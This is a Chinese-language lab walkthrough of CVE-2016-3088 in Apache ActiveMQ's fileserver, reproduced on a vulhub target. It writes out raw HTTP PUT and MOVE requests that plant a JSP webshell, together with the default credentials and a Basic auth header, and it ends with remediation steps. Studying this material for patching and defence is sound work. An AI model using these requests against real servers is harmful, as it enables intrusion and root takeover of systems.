漏洞简介

漏洞名称:ActiveMQ任意文件上传漏洞

漏洞编号:CVE-2016-3088

影响版本:Apache ActiveMQ 5.x~5.14.0

  • 该漏洞基于fileserver应用,ActiveMQ在5.12.x~5.13.x版本已经默认关闭fileserver,但是被开启
  • 并且5.14.0之后就将fileserver彻底删除了
  • 只有目标的fileserver服务开启,才存在该漏洞

随着ActiveMQ的启动,会打开两个端口,61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口

登录的默认账密:admin/admin

漏洞原理

漏洞产生原因:

ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中

  • admin是管理员页面
  • api是接口
  • fileserver是储存文件的接口

admin和api都需要登录后才能使用,fileserver无需登录。

本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入(PUT请求)文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件上传漏洞。

漏洞复现

环境搭建

因为CVE-2016-3088这个漏洞环境在vulhub上有,所以这里我直接选择使用vulhub来搭建这个漏洞环境,漏洞环境位于vulhub中的ActiveMQ目录下

image-nwml

具体的搭建这里就不讲了,搭建之后会开启两个端口服务,就是上面我们提到的ActiveMQ服务对应的两个端口

image-phgq

这里直接访问本机的8161端口即可来到ActiveMQ的web页面

复现步骤

  • vulhub靶机:192.168.149.129
  • 物 理 机:172.21.126.244

Web页面:http://192.168.149.129:8161

访问之后页面如下:

image-nsuy

探测版本信息

访问如下页面即可探测到该ActiveMQ应用的版本信息

http://host:8161/admin/index.jsp?printable=true

注意:因为admin应用是管理员页面,所以需要登录,尝试默认密码登录即可

结果如下

image-mpyu

可以看到目前的版本是5.11.1,为存在漏洞的应用版本,尝试利用该漏洞

探测绝对路径

访问如下路径,该路径是一个测试页面,展示了ActiveMQ应用的绝对路径

http://host:8161/admin/test/systemProperties.jsp

如下

找到activemq.home,即为该应用的绝对路径,如下

image-yscj

上传webshell

PUT /fileserver/2.txt HTTP/1.1
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 120976

webshell...

这个请求体的位置就是jsp一句话木马的内容,而请求fileserver/2.txt就是利用fileserver支持put请求写入文件的特性,写入2.txt,那有人问了,为什么不直接写入jsp文件,而是写入为txt文件?

这是因为前面也讲到了,fileserver虽然支持put请求写入文件,但是无法解析jsp,所以只需要写入一个txt文件,待会再利用move请求移动文件的同时进行重命名修改后缀名即可

直接写入jsp文件也行,只是动静稍微大一点,隐蔽性差点,如果存在上传的waf就很可能被kill了,我们的目标是先把我们的马上传上去,动静自然越小越好

image-vyim

回显204即为上传成功,注意这里要使用PUT请求

此时可以访问上传的路径看看文件是否被成功上传

http://host:8161/fileserver/2.txt

这里的2.txt是刚才put请求中上传的文件,师傅们根据自己的场景来就行

访问之后结果如下

image-lrts

可以看到已经成功上传了

移动木马位置

这里已经成功上传了,但是还有一个问题,这个fileserver目录下的jsp文件无法解析,这时候应该怎么办呢?这是我们就可以利用fileserver支持的另一个请求——move(将木马的位置移动到能够解析的位置)

MOVE /fileserver/2.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/2.jsp
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0

这里的destination请求头的值就是你要移动的目标位置,因为我这里的靶场探测到目标的ActiveMQ的绝对路径下的/opt/activemq目录,所以这里我们选择把木马移动到activemq的webapps/api目录下,如下

image-cxnr

同样的,204回显代表移动成功,此时可以访问如下路径查看是否成功移动(需要登录)

http://host:8161/api

可以看到已经成功移动到了api目录下

image-jscz

webshell使用

我们可以访问这个2.jsp文件,看看木马能否正常使用

image-zisj

可以看到,能够正常访问和解析,但是有报错,这个不影响,尝试命令执行

image-qzlk

可以看到直接就是root权限,因为api目录是root权限创建的

尝试连接webshell管理工具,这里我使用的蚁剑

image-khfa

这里还有一个问题,webshell连接工具在连接时会显示无法连接,甚至出现报错,请问这是什么原因呢?

其实仔细想一下就能理解为什么会报错了,你想一下你浏览器访问到这个2.jsp的前提是什么?前提就是登录,不登录就无法查看,那我们应该怎么让蚁剑模拟登录呢?——设置Cookie

这里的Cookie没有鉴权作用,真正起到鉴权作用的是

Authorization: Basic YWRtaW46YWRtaW4=

也就是账号密码

image-dvab

再测试连接

image-hncu

连接成功

image-sjrb

成功拿到目标机器的root权限

修复方案

1、ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本。

2、通过移除 conf\jetty.xml 的以下配置来禁用 ActiveMQ Fileserver 功能

image-eyza